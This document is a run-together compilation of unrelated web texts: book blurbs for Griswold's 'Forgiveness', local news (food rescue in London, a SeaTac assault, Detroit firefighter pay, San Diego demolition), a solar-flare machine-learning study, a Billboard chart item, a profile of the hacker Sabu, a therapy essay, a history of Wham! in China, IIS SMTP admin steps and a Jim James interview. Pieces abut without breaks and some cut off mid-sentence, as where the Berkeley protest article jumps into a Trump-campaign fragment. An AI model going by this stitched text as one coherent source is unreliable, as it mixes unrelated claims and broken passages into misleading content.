"Rarely has a philosopher offered his fervent students and readers such depth, knowledge and sensitivity as Charles Griswold has done in this volume that deals with one of the most urgent topics facing humankind today."
-- Elie Wiesel
"Griswold’s arguments are deep, far-reaching and all the more effective for the many interesting examples, drawn from recent events and biographical accounts. He sets a paradigm before us, in which one person injures another, seeks forgiveness and then receives it...Griswold tells us much about forgiveness, about the mental processes involved in it, and the way in which interpersonal relations are shaped by it."
--Roger Scruton, Times Literary Supplement
"This carefully reasoned, highly insightful and beautifully written book is essential reading for anyone interested in forgiveness, apology and reconciliation, in the private or public sphere. Accessible to the general reader and practical politician as well as to scholars, it will undoubtedly set the parameters of debate on forgiveness and apology for years to come."
-Geoffrey Scarre, Durham University, Times Higher Education Supplement
"Forgiveness: A Philosophical Exploration is a masterful treatment of a central issue in moral philosophy. Well-written, penetrating, and rich in details, this book discusses a number of related topics including interpersonal forgiveness, political apology, pardon, and civic reconciliation...it is clear that this book is a remarkable achievement that will undoubtedly shape, in enormously beneficial ways, future philosophical debates on the topic of forgiveness."
--Ernesto V. Garcia, University of Massachusetts, Amherst, Notre Dame Philosophical Reviews
"In the prologue to this carefully researched study of forgiveness, Griswold addresses his readers by asking who among us has not longed to be forgiven, struggled to forgive; then points to the psychological, political, and moral centrality of the concept of revenge for his analysis...Griswold sets forth six criteria for such forgiveness, discussing them in the context of related concepts such as economic forgiveness, the pardoning of debts, political and judicial pardon, and political apology...Inviting debate through its wide-ranging but probing treatment of these issues, the book contributes, as its subtitle indicates, to philosophical explanations in the tradition of Robert Nozick."
Sissela Bok, Common Knowledge
"One of the lessons of modernity is that there is no consolation in the human condition, unless perhaps it consists in somehow reconciling ourselves to evils so sublimely absurd that at each new moment they test our capacities for acceptance. In such a world, an understanding of forgiveness – the concept of it, the varieties, its human sources and limits – is more central to life than ever before. Charles Griswold's clearheaded and perceptive new book explores forgiveness both analytically and realistically, helping us toward all these forms of understanding."
--Allen Wood, Stanford University
"Forgiveness by Charles Griswold is a philosopher’s attempt to hone the complexity of interpersonal and political forgiveness to make them accessible. The book honors sources both historical and current, and while it is not primarily religious nor psychological it includes both as it integrates an enormous range of material with deep intelligence and insight. The book is well referenced, quite readable and taught me things about forgiveness I did not know."
--Frederic Luskin, PH.D Director Stanford Forgiveness Projects, Author of Forgive for Good, Director of the Stanford Forgiveness Project (www.learningtoforgive.com)
"The book refers to virtually every recent writer on the topic [of forgiveness], which provides the reader with a guide to the literature...the writing is clear, and the topic is deeply important...Highly recommended."
-R.T. Lee, Trinity College, Choice
"Charles Griswold's Forgiveness is a truly wonderful book, which not only wisely and eloquently treats a significant feature of the moral life and moral psychology, but also sheds unexpected light on moral theory and the history of ethics. The book also includes a fascinating discussion of the role of apology, forgiveness, and reconciliation in political life during the last fifty years."
--Stephen Darwall, University of Michigan
"This in depth study of a topical issue will be accessible and of great interest to public library patrons as well as scholars, and it is highly recommended for both."
--Leon H. Brody, Falls Church, VA
"[A] carefully researched study of forgiveness."
COMMON KNOWLEDGE, Sissela BokUnwilling to accept the gap between waste and hunger in London, Western University students have launched a "food rescue."
They just need a little help from Londoners willing to be volunteer drivers.
The plan for the venture, called reHarvest, is to intercept garbage-bound groceries from participating local businesses and get them into the homes of people living in poverty.
"We read an article about food waste and heard 30 to 40 per cent of food is being wasted and it is such a crazy number," said Amy Wang, co-organizer of reHarvest. "You hear so much about hunger in the city. We were so shocked by that.
"Our idea is to transport food that would’ve been thrown out — like food that is really ripe and couldn’t be sold at grocery stores and day-old baked goods."
According to the National Zero Waste Council, developed nations throw away 40 per cent of all food. The food itself is often times still edible.
Meanwhile, recent statistics from London’s Poverty Research Centre at King’s University College show 35,000 people in the London area are living in extreme poverty.
For an individual, that means living on an annual income of less than $11,000, and for a lone parent it means about $19,000.
Food insecurity is defined as not having reliable access to a sufficient quantity of affordable, nutritious food.
ReHarvest aims to benefit organizations that help people who have not been receiving food donations.
"We are really excited by the fact that young university students have the passion and the drive to put efforts toward a social justice program," said Shelly Happy of the London InterCommunity Health Centre, which will be a recipient of reHarvest and plans to use the donation in its health and housing program.
"Food security and issues around our food system has always been a priority. We saw an exciting potential for the new initiative to support getting food into the hands of more people who might have barriers to accessing healthy food options."
The health and housing program includes skills workshops in four London apartment complexes on how to prepare and store foods and "how to stretch the food dollar," Happy said.
"We are looking at populations where we’ve identified that people absolutely would benefit from access to food and skill development around food preparation and food storage and unique ways to use things," she said.
jlobrien@postmedia.com
For more information about reHarvest or to volunteer as a delivery driver — a once-weekly commitment — go to the website at www.reharvest.ca or email foodrescuelondon@gmail.com.
Participating businesses:
Grocery Checkout, Western Fair Farmers’ Market, Masonville Farmers’ Market, Old East Village Grocer, La Noisette, Village Bakery, and Havaris Produce.
Recipients:
London InterCommunity Health Centre and South London Neighbourhood Resource Centre.Using artificial intelligence techniques to forecast solar flares*, Stanford solar physicists have automated the analysis of the largest-ever set of solar observations, using data from the Solar Dynamics Observatory (SDO).
Solar physicists identify which features are most useful for predicting solar flares, which requires processing more data — some 1.5 terabytes a day — than any other satellite in NASA history, according to solar physicists Monica Bobra and Sebastien Couvidat.
Their study, using an instrument aboard SDO, the Helioseismic Magnetic Imager (HMI), collects vector magnetic fields and other observations of the entire surface of the sun almost continuously. The Stanford Solar Observatories Group, headed by physics Professor Phil Scherrer, processes and stores the SDO data.
Machine learning for earlier solar-flare warnings
The physicists decided to the use this data to predict the strength of solar flares, such as M or X, using machine language. (M-class flares can cause minor radiation storms that might endanger astronauts and cause brief radio blackouts at Earth’s poles. X-class flares are the most powerful.)
To do that, the researchers first catalogued flaring and non-flaring regions from a database of more than 2,000 active regions and then characterized those regions by 25 features such as energy, current and field gradient. They then fed the machine-learning system 70 percent of the data, to train it to identify relevant features. And then they used the system to analyze the remaining 30 percent of the data to test its accuracy in predicting solar flares.
Machine learning confirmed that the topology of the magnetic field and the energy stored in the magnetic field are very relevant to predicting solar flares. Using just a few of the 25 features, machine learning discriminated between active regions that would flare and those that would not flare. Although others have used different methods to come up with similar results, machine learning provides a significant improvement because automated analysis is faster and could provide earlier warnings of solar flares.
However, this study only used information from the solar surface. That would be like trying to predict Earth’s weather from only surface measurements like temperature, without considering the wind and cloud cover. The next step in solar flare prediction would be to incorporate data from the sun’s atmosphere, Bobra said.
*Solar flares can release the energy equivalent of many atomic bombs, enough to cut out satellite communications and damage power grids on Earth, 93 million miles away. The flares arise from twisted magnetic fields that occur all over the sun’s surface, and they increase in frequency every 11 years, a cycle that is now at its maximum.
Abstract for Solar flare prediction using SDO/HMI vector magnetic field data with a machine-learning algorithm
We attempt to forecast M- and X-class solar flares using a machine-learning algorithm, called support vector machine (SVM), and four years of data from the Solar Dynamics Observatory‘s Helioseismic and Magnetic Imager, the first instrument to continuously map the full-disk photospheric vector magnetic field from space. Most flare forecasting efforts described in the literature use either line-of-sight magnetograms or a relatively small number of ground-based vector magnetograms. This is the first time a large data set of vector magnetograms has been used to forecast solar flares. We build a catalog of flaring and non-flaring active regions sampled from a database of 2071 active regions, comprised of 1.5 million active region patches of vector magnetic field data, and characterize each active region by 25 parameters. We then train and test the machine-learning algorithm and we estimate its performances using forecast verification metrics with an emphasis on the true skill statistic (TSS). We obtain relatively high TSS scores and overall predictive abilities. We surmise that this is partly due to fine-tuning the SVM for this purpose and also to an advantageous set of features that can only be calculated from vector magnetic field data. We also apply a feature selection algorithm to determine which of our 25 features are useful for discriminating between flaring and non-flaring active regions and conclude that only a handful are needed for good predictive abilities.The woman told police she was alone in her room, watching TV with the window open, when she heard a noise and saw the assailant remove the window screen and climb inside, the King County Sheriff’s Office said.
King County sheriff’s detectives are investigating a sexual assault and brutal attack of an 83-year-old woman whose assailant used an open window to get into her room at a SeaTac assisted-living facility, the Sheriff’s Office said Friday in a news release.
The assault occurred about 4:30 p.m. Thursday in the 21200 block of International Boulevard, according to the Sheriff’s Office.
According to the Fire Department, the woman suffered serious head injuries and showed signs of having been sexually assaulted, the release said. She was taken to the hospital.
The woman told police she was alone in her room, watching TV with the window open, when she heard a noise and saw a man remove the window screen and climb inside, the Sheriff’s Office said.
He went to where the woman was sitting, hit her several times on the side of the head, wrapped his hands around her throat and choked her before sexually assaulting her, according to the Sheriff’s Office.
The man left through the window, the release said. Out of fear, the woman waited several minutes before screaming for help, the Sheriff’s Office said.
Deputies responded and a police dog used to help search for the assailant, but no one was found.
The man was described as black, 5 feet 8 inches tall, with a slender but strong build, wearing a black-and-white shirt, black pants and a black skull cap.
Anyone with information is asked to call the King County Sheriff’s Office at 206-296-3311. Tips can be made anonymously.Detroit Mayor Mike Duggan announced 4 percent raises Friday for the city’s firefighters.
Duggan said nearly half of the firefighters are now certified as medical first responders and the city is recognizing their efforts with the pay raise. The mayor said a lot of lives have been saved because of the firefighters and their advanced training.
The median salary for city’s 892 firefighters is currently $51,000.
Duggan added the city’s demolition program has led to a drop in the number of building fires in Detroit. There were 2,324 fires by July in 2014. There have been 1,717 this year, per the Detroit News.
Still facing what is undoubtedly one of the toughest jobs in the city, some Detroit firefighters don’t see it as a raise because they had their pay cut 20 percent during the city’s bankruptcy.
“It’s more of a give back, but at least we’re heading in the right direction,” said Sgt. Paul Attard.
Attard said the raise pales in comparison to the cuts they had to take during the city’s bankruptcy, but concedes Duggan is doing all he can.
“We have received new equipment and we’re heading in the right direction, things are getting better, I mean it won’t happen overnight, but there are some improvements,” he said.
Duggan said the agreement also extends the union contract for an extra year and adds another 3 percent raise next year.
Firefighter union president Mike Nevin called it a little bump in pay, adding it’s more an adjustment than a raise.
“We took an economical and emotional beating during the bankruptcy, we know that, and our primary focus coming into office was money,” Nevin said. “I’ve been beating on the mayor’s door every day asking for money.”The song is the first in the airplay chart's 29-year history to rule for 20 weeks.
Portugal. The Man's "Feel It Still" rewrites the record for the most weeks spent at No. 1 on Billboard's Alternative Songs airplay chart, as it logs its 20th week atop the ranking (dated Dec. 9).
The track, which became the Alaska-formed, Oregon-based band's first No. 1 on the chart dated July 8, makes history with its third week in a row at No. 1 after a 17-week reign that was interrupted by a three-week run at the summit by Imagine Dragons' "Thunder."
The new longest-running No. 1 in the chart's 29-year history breaks a tie with Muse's "Madness," which ruled for 19 weeks in 2012 and 2013.
Here's a look at the songs that have topped Alternative Songs the longest since the chart launched on Sept. 10, 1988.
Most Weeks at No. 1 on Alternative Songs
20, "Feel It Still," Portugal. The Man, 2017
19, "Madness," Muse, 2012-13
18, "The Pretender," Foo Fighters, 2007
17, "Uprising," Muse, 2009-10
16, "Boulevard of Broken Dreams," Green Day, 2004-05
16, "It's Been Awhile," Staind, 2001
16, "Scar Tissue," Red Hot Chili Peppers, 1999
The resume of airplay coronations for "Feel" encompasses, in addition to its 20-week (and counting) command atop Alternative Songs: 17 weeks at No. 1 on the all-rock-genre Rock Airplay chart, 11 on Adult Alternative Songs, five each on the all-genre Radio Songs chart and Dance/Mix Show Airplay (as it holds atop the current, Dec. 9-dated latter list), four on Adult Pop Songs and three on Pop Songs.
Additionally, the track ruled Hot Rock Songs, which blends airplay, streaming and sales data, for five frames.
Concurrently, "Feel" follow-up single "Live in the Moment" continues to ascend, leaping 18-12 on Adult Alternative Songs, 31-20 on Rock Airplay (2.7 million audience impressions, up 37 percent, marking the chart's greatest gain, according to Nielsen Music) and bulleting at No. 21 on Alternative Songs.Now playing: Watch this: Hector Monsegur interview part 1: Sabu speaks about his...
The character of Hector Monsegur, a former LulzSec hacker who went by the nom de guerre "Sabu," is a complicated one.
Here's a boy who grew up in poverty, many members of his immediate family serving time in jail. Here's a kid who found an outlet in the Hacker Manifesto. Here's a father who adopted and raised two girls after their mother, his aunt, was arrested. Here's an activist who helped provoke the repressive Tunisian government. Here's a villain who, in the eyes of many, betrayed his friends to protect himself when the FBI came knocking.
Shakespeare it ain't, but it is an interesting tale. After years of underground online activity and thousands of hacks, FBI agents presented Monsegur with a long list of charges against him, including some 12 counts of hacking and related fraud. However, the agents also presented a greater threat: to take away the two girls he was fostering and hand them to protective services. This and only this, says Monsegur, led to his becoming an FBI informant.
Now playing: Watch this: Hector Monsegur interview part 2: Operation Tunisia and...
Between June 2011 and March 2012, Monsegur would publicly maintain his role as one of the world's most prominent hackers and general haters of the establishment. In fact, as the days counted down and his work with the FBI was about to be revealed, he grew even more vocal, saying things like "without informants or subpoenas the feds would be lost." He also said "CIA wouldn't hire me and the feds I think would love just to throw me under a prison somewhere. I'm useless to them."
Actually, he was pretty useful. According to the FBI, the man behind Sabu helped stop some 300 hacks against government websites. Information obtained by agents watching Monsegur's every move through 2011 and early 2012 also led to the arrest of numerous suspected international hackers, including activist Jeremy Hammond, who is currently serving a 10-year sentence for his role in the Strafor email leak. Hammond maintains that Monsegur, under FBI direction, provided both the encouragement and the tools for the attack. Monsegur, for his part, denies any acts of entrapment.
Now playing: Watch this: Hector Monsegur interview part 3: Sony's hack and Sabu's...
Monsegur's cooperation with the FBI was so effective that, at his sentencing, federal prosecutors took the unusual step of detailing just how helpful he was. He was released after having served seven months in prison and would face only a year of probation rather than the possible decades of incarceration.
These days, Monsegur maintains that he does not have a PC and is making minimal use of the Internet -- he is allowed, but he's concerned the actions of others might be blamed on him. Better just to steer clear. Still, he has plenty of opinions about the current state things. He believes the most recent Sony hack, for example, is simply a continuation of the many attacks against the corporation. "Sony has been compromised for at least six years that I know of," he said. "The people who are complaining to be GOP or whatever, are the people that owned Sony way back when... This is not a new hack."
As to what comes next, Monsegur says those seven months behind bars exposed him to a new passion: teaching. "I feel like I want to help people in general with understanding privacy." The former Sabu hopes to educate others about who they can trust and how they can protect themselves in a world increasingly full of scams, traps and phishing attacks. That sort of knowledge is a valuable thing, and it's certainly hard to imagine a better teacher.
For more of Hector Monsegur's story, please check out Charlie Rose's full interview.The other day, a client came in describing his wife’s behavior as Borderline Personality Disorder. He had numerous examples of how perfectly she fit the profile and how he had been traumatized by her behavior. For example, she was fearful of his abandonment and in desperation would rage anytime he mentioned separation. Yet every time the conversation was redirected to him, he became evasive.
Physically, his face seemed unusually red, he was a bit shaky, noticeable uncomfortable, and yet was meticulously groomed. His manner of speech seemed rehearsed and he was hyper-focused on his wife. He desperately wanted affirmation that he was right in his diagnosis of her. It took nearly the whole session to gain the most basic information about him. That’s when it became clear. He was an alcoholic. Several sessions later, it was apparent that she was not Borderline, but rather severely co-dependent.
He was attempting to use the therapeutic process as a way of justifying his addict behavior. By exaggerating his wife’s symptoms, he looked normal in comparison and therefore could hide his addiction for a longer period of time. Unfortunately, this is not an uncommon tactic. Here are a couple more examples of how personality disorders are misdiagnosed by clients:
An exquisitely dressed female came in describing her husband as having Narcissistic Personality Disorder and her marriage on the brink of divorce. She was engaging and likeable but when questioned about her own failures, she was elusive. She described him as being controlling but refused to allow the session to be about anything else other than his disorder. When confronted, she played to role of victim a bit too well. She too was seeking affirmation for her diagnosis of him. In this case, she was the narcissist. In an effort to make herself look better than him, she projected her own disorder onto her husband.
Another client portrayed her partner as on the brink of a mental breakdown and having Borderline Personality Disorder. She showed erratic text messages, recounted stories of physical violence, and periods of isolation. Everything seemed just a bit too calculated. So the stories were intentionally interrupted with unimportant questions. This frustrated the client who was on an agenda of trying to commit her partner. A quick scroll on the phone to the previous conversation before the erratic text message revealed verbal and mental abuse from the client. It turned out that the client was a sociopath who was trying to drive her partner crazy. Her plan was to drain the bank accounts while her partner was hospitalized.
The parent of a failure to launch twenty-something year old labeled her child as Narcissistic Personality Disorder. She described him as entitled and unwilling to do simple tasks around the house. He was shut down and quarantined himself in his room. His attitude towards the other family members reeked of superiority and a lack of empathy. At first glance, he did appear to be narcissistic. But several sessions later, it turned out that he was the victim of sexual abuse and in his attempt to hide it from the world, he presented as narcissistic.
The Greek philosopher Plato wrote in Phaedrus, “Things are not always as they seem; the first appearance deceives many.” This is very true when working with personality disorders. What is frequently presented initially is not necessarily accurate later. Some have ulterior motives such as hiding their addiction by exaggerating problems, projecting self onto a spouse to avoid accountability, using counseling to commit further criminal acts, or concealing trauma through disengagement. A brief look beyond what is offered might just divulge some hidden truth.Image copyright Getty Images Image caption Wham!'s management spent 18 months trying to convince Chinese officials to let the duo play
Everyone who went to see Wham! perform in China in 1985 seems to remember the same details: the dazzling lights, the overwhelming wave of noise when the music began, and the outfits worn by the duo, George Michael and Andrew Ridgeley.
In 1985, China was just opening up to the outside world following the tumultuous Cultural Revolution.
At the same time, Wham! were eager to prove that they were the world's biggest pop band. A concert in China was just the ticket.
The duo's manager, Simon Napier-Bell, tried to convince various Chinese officials over lunch that the concert tour was a good idea.
His successful sales pitch hinged on how China would appear to the outside world if George Michael and Andrew Ridgeley were allowed to play. Wham!'s presence would be proof, Mr Napier-Bell reasoned, of the Communist Party's desire to welcome foreigners, and much-needed foreign investment.
The pitch worked. Two weeks after the Chinese government gave the green light, Wham! were due to perform in Beijing and the southern city of Guangzhou in April 1985.
The duo were set to become the first Western band to play inside China, beating other hopefuls Queen and the Rolling Stones.
"One day, I saw the concert announcement posted on a wall," remembers Li Shizhong from Beijing. He was just a teenager at the time.
"The band members had long curly hair. They dressed differently. I thought their music would sound different and new because they looked so different from anything else I had seen before."
"But I couldn't go to see them," he sighs, "because I couldn't ask my parents for 5 yuan ($0.80, £0.54) to pay for the ticket. My parents wouldn't support anything like that."
"We didn't have a nightlife. I was a 15-year-old boy but I had to stay at home after 8.30pm."
"The rigid social atmosphere back then was the real reason I couldn't go to the concert. At that time, if you played a guitar on the street, you would be considered a hooligan."
"I only had blue, green and grey Cultural Revolution style clothes. If someone dressed in a different colour, everyone would notice. Now we think that's fashionable, but back then, something like that signalled trouble."
Image copyright Getty Images Image caption "The singers were all moving a lot and it was very loud," said Kan Lijun who presented them on stage
Many of the tickets were passed to Chinese government officials.
"I went to see it because my classmate's father worked for the Ministry of Culture and I was given a free ticket," Lin Wenjun from Guangzhou remembers. "Not many people knew about them at the time but I listened to their music on Hong Kong radio, which wasn't blocked back then."
"It seemed that most of the audience received free tickets because they seemed old. They didn't dress like music lovers," he mused.
"Before that day, I had only seen a ballet performance. So the concert was a shocking experience because of all the lights and the stereo sound."
"I wanted to sing along with the lyrics but I didn't dare because no-one else in the audience was singing."
Even those involved in the concert were astonished by the newness of it all. Now a famous Chinese television presenter, Kan Lijun served as the on-stage host at Wham!'s concert in Beijing 30 years ago.
She introduced George Michael and Andrew Ridgeley to their slightly befuddled audience. She then stood backstage, watching the concert.
"No-one had ever seen anything like that before," she said. "The singers were all moving a lot and it was very loud. We were used to people who stood still when they performed."
"All the young people were amazed and everybody was tapping their feet. Of course the police weren't happy and they were scared there would be riots. One time, people were excited after a sports event and they flipped a car."
Media playback is unsupported on your device Media caption Singer Cheng Fangyuan remembers the day that British band Wham! became the first western pop act to play a concert in China
Before Wham! appeared, many kinds of music were forbidden.
"Back then, if we wanted to listen to pop music with lyrics like that, we had to do that in secret," Ms Kan remembers. "If you were caught, you would be taken to the police station and they would keep you there all night. It was a time of many taboos."
Amazing, then, that Wham! was allowed to sing lyrics like this to audiences of thousands:
Wake me up before you go go,
'Cause I'm not planning on going solo
Wake me up before you go go
Take me dancing tonight
I wanna hit that high (yeah yeah)
The Chinese version, performed in the opening act, by singer Cheng Fangyuan added some Communist flair:
Wake me up before you go go.
Compete with the sky to go high, high.
Wake me up before you go go
Men fight to be first to reach the peak
Wake me up before you go go
Women are on the same journey and will not fall behind.
A cassette tape featuring Wham!'s songs on one side, and Cheng Fangyuan's Chinese covers on the other, was handed to each concertgoer.
Image caption The cassette tape had both Wham's and Ms Cheng's songs
Lin Wenjun received a cassette when he attended the concert in Guangzhou, but he sold it to his classmate afterward for 20 yuan, a small fortune at the time.
For others, that cassette remains a prized possession.
"Some of my classmates went and gave the tape to me as a gift," remembers Li Shizhong, the Beijinger who was not able to attend the concert. "I still have it."
"I'm really grateful they came to China and I want to salute them," he continues. "That concert was so meaningful to us."So my gift actually came on Monday, but I had my Santa ship it to my home address instead of my school address. I was stuck at school taking finals but I was looking forward to opening my gift all week!!! The first thing I noticed when I opened the gift was the very heartfelt note. My santa suggested a restaurant that they visited on a road trip that is coincidentally only a few minutes from my home. They tried the pierogis -- and if you're from Pittsburgh, you know how much we love our pierogis!!! I'll definitely be visiting this restaurant, thank you Santa. :)
My sweet and thoughtful Santa couldn't have gotten me a better or more thoughtful gift. First, they sent an oven mitt COVERED IN DOGS. Um, amazing. I love dogs. I love baking. And the dogs are wearing cute outfits?!??! So perfect. I used it to bake sugar cookies tonight!
Santa also sent my pups a couple of chewable dino toys. As soon as I opened them, my dogs could smell them and started chewing on them. They haven't quit since. They're obsessed! (Pictured: A wild Willa. Louie would not comply for photos). Last but not least, my santa sent a huge bag of mint kit kats!!! So yummy! I've been munching on them all day. :)
Thank you so, so much to my lovely Santa. You have made my holiday brighter and your gifts are so appreciated! It was so sweet of you to not only think of me, but to also think of my lil pups. We love everything and I can't thank you enough. :)Share This Article:
Demolition of the old Navy Broadway Complex began this week to make way for the $1.3 billion Manchester Pacific Gateway project.
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The project will replace what is now the Navy’s regional headquarters and numerous parking lots with seven buildings totaling 3 million square feet across eight city blocks. One of the buildings will become the new Navy headquarters.
“The Navy is very excited to have reached this phase of the Manchester Pacific Gateway project. The transformation of this property is a big win for both the Navy and the City of San Diego,” said Rear Adm. Yancy B. Lindsey, commander or Navy Region Southwest. “The Navy and San Diego have had a strong, mutually beneficial relationship for over 100 years. This project is another important chapter in that history,”
The project includes six office towers ranging from six to 29 stories, a boutique hotel, a convention hotel, a museum, shopping areas, public parks and 2,500 parking spaces.
“In the 11 years that we have fought for this development, our enthusiasm and commitment has never wavered,” said Papa Doug Manchester, chairman of Manchester Financial Group. “We have worked through extensive review from six public agencies … and numerous other groups and organizations that believe in our vision. The time has finally arrived for construction of a world-class venue for downtown San Diego.”
The 12-acre property was originally granted to the military in 1920 for the Navy Supply Center. The site stretches south from Broadway between Harbor Drive and Pacific highway.
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Follow Us:Many activists in Berkeley last weekend described Sunday’s demonstrations as a decisive win for the left, and a triumph of love over hate. But who, exactly, were the ones who lost?
Read all about Berkeley’s recent political clashes. Value Berkeleyside? Consider offering your support.
Local organizers, and politicians too, made it clear before the Aug. 27 demonstrations that racists are not welcome in Berkeley. That message came through loud and clear, especially in the wake of Charlottesville, which saw the tragic death of activist Heather Heyer, and actual white supremacists marching through the streets with torches, chanting messages of anti-semitism.
A number of conservative activists — including those who organized, then canceled, events in the Bay Area last weekend — have pushed back against the racist label, which they say is being misused by the left to silence them. A number of them have denounced white supremacy and violence — and are not, in fact, white — and say they are against what they see as too much censorship and increasingly violent tactics by the left. An interest in patriotism, and a desire to be able to express it without fear, is also a running theme. Some of those figures have risen to national prominence this year by attending high-profile rallies — including those in Berkeley in February, March and April — and have attained a kind of cult following by live-streaming their confrontations with those who oppose their views.
In some cases, that may be a smokescreen. Who, after all, will admit to outright racism, particularly as they work to gain more moderate allies? And it’s not always clear where people actually stand: There is evidence of efforts by some on the right to “obscure their racism” to gain sympathy for their cause, according to a recent report by Reveal.
With more political demonstrations and rallies heading our way, it’s a good time to get a better understanding of some of the players on the right who’ve been taking a stand in Berkeley this year. It may be even more important as more criticism has arisen about “violent extremism” on the left. That could mean more room for conservative activists, as well as provocateurs, to organize, and pick up support.
As Berkeleyside has reported, thousands of people attended Sunday’s demonstrations in Berkeley to speak out, with exuberance and creativity, in favor of inclusivity and tolerance. But those who came to Martin Luther King Jr. Civic Center Park wearing Trump gear or trying to have a different conversation — estimated at 2-3 dozen — |
Rick Wilson, a Trump critic who is assisting independent conservative Evan McMullin. Well, he does have a point. The entire exercise is insincere, and his team is so lacking in diversity that what is meant to be outreach comes across as stereotyping and condescension.
Trump’s real problem — aside from the number of groups he has offended and his lack of money or campaign infrastructure — is that he is not only doing worse than Mitt Romney did with minorities but he is doing worse with white women and college-educated whites. He’s trying to convince white voters he’s losing that he really isn’t a bigot. This sure isn’t going to help.Microsoft SMTP Service installed along with the IIS. System requirements for Microsoft SMTP Service are identical to those for IIS.
Starting, Pausing and Stopping SMTP Service
You can stop and start SMTP Service manually. However, while it is an operation, you must be careful when stopping, pausing, and restarting the service, so users are not affected.
All IIS computers on an organization's network can be stopped, paused, and restarted remotely from any computer on which Internet Service Manager (ISM) installed.
To administer a service remotely, the user running ISM must be defined in the Windows NT Server Administrators group on the computer to administer.
Changing the Default Startup Setting
You can modify the default startup setting using the Services application in Control Panel.
To modify the default startup setting
Open Control Panel and select Services. Under Service, select Microsoft SMTP Service, and then click Startup Under Startup, choose Automatic. Manual, or Disabled.
Manually Starting SMTP Service
If you have set the default startup setting to Manual, you can use ISM to start Microsoft SMTP Service.
To start the SMTP service manually
In the ISM window, expand the SMTP tree structure. Select the default SMTP server. From the Action menu, choose Start.
Manually Pausing Microsoft SMTP Service
You can pause Microsoft SMTP Service for updates and maintenance. Pausing prevents new client connections but enables Microsoft SMTP Service to continue processing existing client connections and deliver queued mail. Messages with the.eml extension cannot be deleted from the Queue directory while the service paused.
To pause SMTP service manually
In the ISM window, expand the SMTP tree structure. Select the default SMTP server. From the Action menu, choose Pause.
Manually Stopping SMTP Service
You can stop Microsoft SMTP Service for updates and maintenance.
To stop SMTP service manually
In the ISM window, expand the SMTP tree structure. Select the default SMTP server. From the Action menu, choose StopJim James has been spending time at the beach. He leaves his house in Highland Park after the first grip of morning traffic dissolves and drives down the 110 and freeways beyond until he reaches the ocean.
Which expanse of sand he arrives at is a mystery. It could be Zuma. Maybe El Matador. He may prefer the seedy bustle of Venice. There’s no way of knowing, because he won’t tell me.
On this unseasonably hot Tuesday afternoon, the multihyphenate musician and My Morning Jacket frontman is sitting at a homespun organic cafe in Highland Park (his pick), eating a salad. He wears jeans and a black T-shirt with the sleeves rolled up, revealing a black ink tattoo of indecipherable design on his right shoulder. Two pairs of sunglasses dangle from his V-neck. His shock of honey-brown hair is combed back neatly. James could easily pass for just another local if you didn’t know that he’s also one of the most revered rock stars of a generation.
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With his recent move to Los Angeles and the Nov. 4 release of his second solo LP, Eternally Even, James is embodying both roles, however reluctantly. He’s quick to dismiss notions of himself as a musical icon, saying he doesn’t feel he fits the archetype. While millions would disagree, in L.A. he has found a place that fosters both his ambitions and his mission to stay mysterious.
“The world of playing onstage or whatever and then my personal life, those things are very separate,” James, 38, says between bites of kale and prosciutto. “If I’m here at home, I don’t think about playing onstage. And if I’m playing onstage I’m not thinking about being at home.”
Lately, James has been simultaneously prepping for the album’s release and nesting in his new spot. (“Every time you move it’s just that stupid shit, like, ‘I want to eat some yogurt. Fuck, I don’t have any spoons.’ ‘I think I’ll sit down on the couch. Oh shit, there’s no couch.’") Los Angeles might seem like an unlikely home for the Louisville native, as he and My Morning Jacket have cultivated a Mason-Dixon line persona since the release of their 1999 debut, The Tennessee Fire.
James had “a whole ‘nother Jacket record pop out in my head” while working on his solo album, Eternally Even. Facebook
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In the 17 years since, the group have established themselves as one of the most forceful and enduring live acts in the game, carrying the rock & roll torch forward alongside a dwindling peer group that includes Jack White and Wilco. The five-man band have headlined festivals around the world (and created their own) with a take-no-prisoners guitar-rock fury that is equal parts jam band, funk act and psychedelic freakout. A slipstream of legendary sets (including multiple Bonnaroos and an Oregon Trail–themed New Year's Eve show in San Francisco) define their history, with fans who were there still getting looks of religious fanaticism in their eyes when describing the experiences.
Through the years, James has delved into side projects including the 2009-era indie rock super-group Monsters of Folk and the recently released Dylan-inspired album The New Basement Tapes, on which he collaborated with T Bone Burnett and Elvis Costello, among others. His 2013 debut solo LP, Regions of Light and Sound of God, was inspired by a 1929 graphic novel and extenuated the search-for-the-meaning-of-life themes laid out in much of the MMJ catalog.
My Morning Jacket’s seventh studio album, The Waterfall, was released in 2015. James had “a whole ‘nother Jacket record pop out in my head” while working on Eternally Even. The band will record it this April. It will be their first album made entirely in Los Angeles.
James, who looks younger in person, is acclimating well to a city he loves for its limitlessness. He's been exploring neighborhoods by foot and taking road trips to the mystic California triumvirate of Joshua Tree, Yosemite (“talk about mind-blowing”) and San Francisco. He estimates that before moving here, he spent two accumulated years in Los Angeles working on music. When he decided to leave Louisville in search of some fresh energy, L.A. was thus a natural choice. (His already established friend network includes MMJ keyboardist Bo Koster, who has called L.A. home for nearly two decades and lives nearby in Highland Park.)
Upon arrival, James first rented a place on the edge of a mountain in Montecito Heights. (“Over there,” he says, pointing out the restaurant window during lunch.) Here he had a view of downtown and neighbors in the two tortoises that lived on the premises. It was in a makeshift studio erected in the landlord’s storage trailer that James picked up work on the solo album he started back in Kentucky.
“It was just like wahhh,” he says, waving his hands around his head, of the inspiration driving these storage trailer sessions. “There was all this stuff coming out, all of these words and thoughts and ideas. … I finished the record in a couple weeks. I thought it would take longer.”
Elements of Eternally Even were rooted in L.A. even before James became a resident. The LP’s initial inspiration came when bits of a movie soundtrack he had worked on came on his iPod Shuffle while he was out taking a walk. (“I really love walking. That’s a big part of my life and one of my favorite things to do, and the walking around here is so great.”) The studio had rejected the soundtrack — he declines to name the movie but describes it as “medium budget” — and it thus became the springboard for the new album.
A Western film vibe is indeed woven into tracks like “Same Old Lie,” which preaches ideas of personal efficacy ("If you don't vote it's on you not me") before building to a Morricone-inspired crescendo. Lyrics across the album explore ideas of aging, intimacy, love and the loss of it, with these themes steeped in smoldering bass lines, drone-y ambient effects, orchestral flourishes and saxophone. James gets nostalgic talking about the days when he used to mow lawns to make money to buy cassette tapes, and his predilection for analog is programmed right into the vinyl scratches on the slow-burn bedroom jam “The World’s Smiling Now.”
Backed by a group of Louisville musicians, James is touring the album in the United States through mid-December. He admits he feels like another person completely while onstage. Who that person might be is less clear.
“I don’t know,” he says. “It’s me. It’s another side of me. I have to put a very real wall up between day-to-day me and stage me, for so many reasons.”
So not being disciplined about this differentiation between one's personal self and famous self can make life confusing and painful?
